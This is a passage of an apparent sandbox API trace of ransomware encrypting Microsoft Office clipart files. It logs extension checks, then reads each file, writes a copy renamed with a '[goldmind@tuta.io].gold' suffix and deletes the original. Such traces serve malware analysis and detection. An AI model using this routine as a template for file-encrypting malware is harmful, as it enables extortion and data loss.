lstrlenW (lpString=".7z") returned 3 [0090.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.549] lstrlenW (lpString=".dbf") returned 4 [0090.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.549] lstrlenW (lpString=".1cd") returned 4 [0090.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.549] lstrlenW (lpString=".jpg") returned 4 [0090.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.549] lstrlenW (lpString=".doc") returned 4 [0090.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString=".docx") returned 5 [0090.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.549] lstrlenW (lpString=".pdf") returned 4 [0090.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString=".xls") returned 4 [0090.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.549] lstrlenW (lpString=".xlsx") returned 5 [0090.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.549] lstrlenW (lpString=".ppt") returned 4 [0090.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.549] lstrlenW (lpString=".zip") returned 4 [0090.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.549] lstrlenW (lpString=".rar") returned 4 [0090.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString=".bz2") returned 4 [0090.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.549] lstrlenW (lpString=".7z") returned 3 [0090.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.550] lstrlenW (lpString=".dbf") returned 4 [0090.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.550] lstrlenW (lpString=".1cd") returned 4 [0090.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0090.550] lstrlenW (lpString=".jpg") returned 4 [0090.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.550] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.550] lstrlenW (lpString="DD00407_.WMF") returned 12 [0090.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.550] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7828) returned 1 [0090.550] CloseHandle (hObject=0x394) returned 1 [0090.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0090.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.551] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.551] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.551] GetLastError () returned 0x0 [0090.551] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1e94, lpOverlapped=0x0) returned 1 [0090.553] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1ea0, lpOverlapped=0x0) returned 1 [0090.553] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.554] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.554] SetEndOfFile (hFile=0x33c) returned 1 [0090.554] CloseHandle (hObject=0x33c) returned 1 [0090.554] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.554] SetEndOfFile (hFile=0x394) returned 1 [0090.556] CloseHandle (hObject=0x394) returned 1 [0090.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.559] lstrlenW (lpString=".doc") returned 4 [0090.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString=".docx") returned 5 [0090.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.559] lstrlenW (lpString=".pdf") returned 4 [0090.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString=".xls") returned 4 [0090.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.559] lstrlenW (lpString=".xlsx") returned 5 [0090.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.559] lstrlenW (lpString=".ppt") returned 4 [0090.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.559] lstrlenW (lpString=".zip") returned 4 [0090.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.559] lstrlenW (lpString=".rar") returned 4 [0090.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".bz2") returned 4 [0090.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".7z") returned 3 [0090.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".dbf") returned 4 [0090.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".1cd") returned 4 [0090.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".jpg") returned 4 [0090.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".doc") returned 4 [0090.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".docx") returned 5 [0090.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.560] lstrlenW (lpString=".pdf") returned 4 [0090.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".xls") returned 4 [0090.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.560] lstrlenW (lpString=".xlsx") returned 5 [0090.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.560] lstrlenW (lpString=".ppt") returned 4 [0090.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".zip") returned 4 [0090.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.560] lstrlenW (lpString=".rar") returned 4 [0090.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".bz2") returned 4 [0090.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString=".7z") returned 3 [0090.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".dbf") returned 4 [0090.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".1cd") returned 4 [0090.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0090.560] lstrlenW (lpString=".jpg") returned 4 [0090.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.560] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.560] lstrlenW (lpString="DD00413_.WMF") returned 12 [0090.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.561] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=42992) returned 1 [0090.561] CloseHandle (hObject=0x394) returned 1 [0090.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0090.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.562] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.562] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.562] GetLastError () returned 0x0 [0090.563] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0090.565] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xa800, lpOverlapped=0x0) returned 1 [0090.566] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.566] WriteFile (in: hFile=0x33c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.566] SetEndOfFile (hFile=0x33c) returned 1 [0090.566] CloseHandle (hObject=0x33c) returned 1 [0090.566] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.566] SetEndOfFile (hFile=0x394) returned 1 [0090.715] CloseHandle (hObject=0x394) returned 1 [0090.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0090.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.967] lstrlenW (lpString=".doc") returned 4 [0090.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.967] lstrlenW (lpString=".docx") returned 5 [0090.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.967] lstrlenW (lpString=".pdf") returned 4 [0090.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.967] lstrlenW (lpString=".xls") returned 4 [0090.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.967] lstrlenW (lpString=".xlsx") returned 5 [0090.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.967] lstrlenW (lpString=".ppt") returned 4 [0090.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.967] lstrlenW (lpString=".zip") returned 4 [0090.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.967] lstrlenW (lpString=".rar") returned 4 [0090.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.967] lstrlenW (lpString=".bz2") returned 4 [0090.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.967] lstrlenW (lpString=".7z") returned 3 [0090.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.967] lstrlenW (lpString=".dbf") returned 4 [0090.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.967] lstrlenW (lpString=".1cd") returned 4 [0090.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.967] lstrlenW (lpString=".jpg") returned 4 [0090.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.968] lstrlenW (lpString=".doc") returned 4 [0090.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString=".docx") returned 5 [0090.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.968] lstrlenW (lpString=".pdf") returned 4 [0090.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString=".xls") returned 4 [0090.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.968] lstrlenW (lpString=".xlsx") returned 5 [0090.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.968] lstrlenW (lpString=".ppt") returned 4 [0090.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.968] lstrlenW (lpString=".zip") returned 4 [0090.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.968] lstrlenW (lpString=".rar") returned 4 [0090.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString=".bz2") returned 4 [0090.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString=".7z") returned 3 [0090.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.968] lstrlenW (lpString=".dbf") returned 4 [0090.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.968] lstrlenW (lpString=".1cd") returned 4 [0090.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0090.968] lstrlenW (lpString=".jpg") returned 4 [0090.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.968] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.968] lstrlenW (lpString="DD01138_.WMF") returned 12 [0090.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0090.969] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3692) returned 1 [0090.969] CloseHandle (hObject=0x3a4) returned 1 [0090.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0090.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0090.969] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.969] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0090.970] GetLastError () returned 0x0 [0090.970] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xe6c, lpOverlapped=0x0) returned 1 [0090.984] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xe70, lpOverlapped=0x0) returned 1 [0091.042] ReadFile (in: hFile=0x3a4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.043] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0091.043] SetEndOfFile (hFile=0x3a8) returned 1 [0091.043] CloseHandle (hObject=0x3a8) returned 1 [0091.043] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.043] SetEndOfFile (hFile=0x3a4) returned 1 [0091.045] CloseHandle (hObject=0x3a4) returned 1 [0091.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0091.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0091.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.083] lstrlenW (lpString=".doc") returned 4 [0091.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.083] lstrlenW (lpString=".docx") returned 5 [0091.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.084] lstrlenW (lpString=".pdf") returned 4 [0091.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString=".xls") returned 4 [0091.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.092] lstrlenW (lpString=".xlsx") returned 5 [0091.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.092] lstrlenW (lpString=".ppt") returned 4 [0091.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.092] lstrlenW (lpString=".zip") returned 4 [0091.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.092] lstrlenW (lpString=".rar") returned 4 [0091.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString=".bz2") returned 4 [0091.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString=".7z") returned 3 [0091.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.092] lstrlenW (lpString=".dbf") returned 4 [0091.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.092] lstrlenW (lpString=".1cd") returned 4 [0091.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.092] lstrlenW (lpString=".jpg") returned 4 [0091.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") 